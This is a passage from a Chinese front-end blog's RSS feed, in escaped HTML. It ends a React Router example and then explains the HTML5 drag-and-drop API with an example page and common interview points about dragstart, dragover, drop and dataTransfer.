&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Route&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#39;/detail&amp;#39;&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;component&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;Detail&lt;/span&gt;} &lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Route&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#75715e"&gt;/* 路由不匹配，重定向到/index */&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Redirect&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;/*&amp;#39;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;to&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;/index&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Switch&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Router&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;效果如下&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>拖放API</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-018/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-018/</guid><description>&lt;p&gt;HTML5 中的拖拽（Drag and Drop，简称 DnD）功能为网页元素提供了原生的拖放支持。通过 HTML5 的拖放 API，开发者可以让元素变得可拖动，并实现拖拽和释放的交互效果。&lt;/p&gt;
&lt;h3 id="html5-拖拽的基本原理"&gt;&lt;strong&gt;HTML5 拖拽的基本原理&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;HTML5 拖拽操作的核心是 &lt;code&gt;dragstart&lt;/code&gt;、&lt;code&gt;dragover&lt;/code&gt; 和 &lt;code&gt;drop&lt;/code&gt; 等事件。以下是拖拽的工作流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;可拖动元素&lt;/strong&gt;：使用 &lt;code&gt;draggable=&amp;quot;true&amp;quot;&lt;/code&gt; 使一个元素可被拖拽。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;源元素触发拖拽&lt;/strong&gt;：当用户点击并开始拖动可拖动元素时，触发 &lt;code&gt;dragstart&lt;/code&gt; 事件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拖拽中&lt;/strong&gt;：拖拽过程中，目标区域会触发 &lt;code&gt;dragover&lt;/code&gt; 事件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;释放元素&lt;/strong&gt;：当用户释放被拖动的元素到目标区域时，目标会触发 &lt;code&gt;drop&lt;/code&gt; 事件。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="实现步骤"&gt;&lt;strong&gt;实现步骤&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;设置拖拽元素&lt;/strong&gt;：使用 &lt;code&gt;draggable=&amp;quot;true&amp;quot;&lt;/code&gt; 使 HTML 元素可拖动。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;监听拖拽事件&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dragstart&lt;/code&gt;：当拖拽开始时触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dragover&lt;/code&gt;：在拖拽过程中，拖动到可放置目标区域时持续触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;drop&lt;/code&gt;：当拖动的元素被释放到目标区域时触发。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;阻止默认行为&lt;/strong&gt;：&lt;code&gt;dragover&lt;/code&gt; 和 &lt;code&gt;drop&lt;/code&gt; 事件默认情况下是禁止的，需要使用 &lt;code&gt;event.preventDefault()&lt;/code&gt; 来阻止默认行为，从而允许放置元素。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="拖拽的相关事件"&gt;&lt;strong&gt;拖拽的相关事件&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dragstart&lt;/code&gt;：在拖动开始时触发，用来设置拖动数据（如拖动的数据类型和数据内容）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dragend&lt;/code&gt;：拖动操作结束时触发，可以用来清理状态。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dragenter&lt;/code&gt;：当拖动的元素进入目标区域时触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dragover&lt;/code&gt;：当拖动元素在目标区域上方移动时持续触发，默认情况下不会触发 &lt;code&gt;drop&lt;/code&gt;，因此需要通过 &lt;code&gt;event.preventDefault()&lt;/code&gt; 来允许放置。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dragleave&lt;/code&gt;：当拖动的元素离开目标区域时触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;drop&lt;/code&gt;：当拖动的元素释放到目标区域时触发，可以获取拖动的数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="拖拽实例"&gt;&lt;strong&gt;拖拽实例&lt;/strong&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lang&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;HTML5 拖拽示例&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; #dragElement {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;lightcoral&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;text-align&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;line-height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;cursor&lt;/span&gt;: grab;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; #dropZone {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;lightblue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin-top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;text-align&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;line-height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;dragElement&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;draggable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;拖拽我&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;dropZone&amp;#34;&lt;/span&gt;&amp;gt;放置到这里&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 获取元素
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dragElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;dragElement&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dropZone&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;dropZone&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 拖拽开始事件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;dragElement&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;dragstart&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 设置数据，类型和内容
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dataTransfer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 拖拽过程中在目标上方移动时，必须阻止默认行为
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;dropZone&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;dragover&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;preventDefault&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 放置事件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;dropZone&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;drop&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;preventDefault&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 阻止默认行为
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dataTransfer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getData&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;draggedElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;appendChild&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;draggedElement&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 将拖动的元素放入目标区域
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="代码说明"&gt;&lt;strong&gt;代码说明&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;拖拽元素&lt;/strong&gt;：&lt;code&gt;draggable=&amp;quot;true&amp;quot;&lt;/code&gt; 使得 &lt;code&gt;#dragElement&lt;/code&gt; 可拖动。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拖拽开始&lt;/strong&gt;：&lt;code&gt;dragstart&lt;/code&gt; 事件设置了拖拽的元素数据，存入 &lt;code&gt;dataTransfer&lt;/code&gt; 对象中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;允许放置&lt;/strong&gt;：&lt;code&gt;dragover&lt;/code&gt; 事件通过 &lt;code&gt;event.preventDefault()&lt;/code&gt; 允许拖拽元素放置在目标区域。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;放置元素&lt;/strong&gt;：&lt;code&gt;drop&lt;/code&gt; 事件在目标区域中，通过 &lt;code&gt;event.dataTransfer.getData()&lt;/code&gt; 获取拖动的数据并进行处理。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h3 id="1-基本概念与原理"&gt;1. &lt;strong&gt;基本概念与原理&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：HTML5 提供了内置的拖拽功能，通过 &lt;code&gt;draggable&lt;/code&gt; 属性和 Drag and Drop API 实现元素拖放操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：拖拽功能依赖一系列事件，如 &lt;code&gt;dragstart&lt;/code&gt;、&lt;code&gt;drag&lt;/code&gt;、&lt;code&gt;dragend&lt;/code&gt;、&lt;code&gt;dragover&lt;/code&gt;、&lt;code&gt;drop&lt;/code&gt; 等来实现拖放操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-如何启用拖拽"&gt;2. &lt;strong&gt;如何启用拖拽&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;draggable 属性&lt;/strong&gt;：默认情况下，HTML 元素是不可拖拽的。要启用拖拽，需要设置元素的 &lt;code&gt;draggable=&amp;quot;true&amp;quot;&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;draggable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;Drag me!&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;事件绑定&lt;/strong&gt;：考察点可能包括如何通过 &lt;code&gt;dragstart&lt;/code&gt; 等事件处理拖拽行为。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;draggableElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;draggable&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;draggableElement&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;dragstart&amp;#39;&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dataTransfer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;text/plain&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;This is a draggable element&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-drag-and-drop-的核心事件"&gt;3. &lt;strong&gt;Drag and Drop 的核心事件&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;dragstart&lt;/strong&gt;：用户开始拖动时触发，通常用于设置拖拽的数据和外观。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;drag&lt;/strong&gt;：在拖动过程中持续触发，可用于动态更新拖拽效果。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dragend&lt;/strong&gt;：拖动结束时触发，可以用于清除拖拽状态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dragenter&lt;/strong&gt;：被拖拽的元素进入可放置区域时触发。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dragover&lt;/strong&gt;：在拖动元素悬停在放置区域时持续触发，通常需要调用 &lt;code&gt;event.preventDefault()&lt;/code&gt; 来允许放置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dragleave&lt;/strong&gt;：当拖动元素离开放置区域时触发。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;drop&lt;/strong&gt;：用户放开被拖动的元素时触发，用于处理放置操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-数据传输"&gt;4. &lt;strong&gt;数据传输&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;dataTransfer 对象&lt;/strong&gt;：&lt;code&gt;event.dataTransfer&lt;/code&gt; 是拖拽过程中传输数据的关键对象。常见考点包括如何通过 &lt;code&gt;dataTransfer.setData()&lt;/code&gt; 和 &lt;code&gt;dataTransfer.getData()&lt;/code&gt; 方法在 &lt;code&gt;dragstart&lt;/code&gt; 和 &lt;code&gt;drop&lt;/code&gt; 事件之间传递数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// dragstart 中设置数据
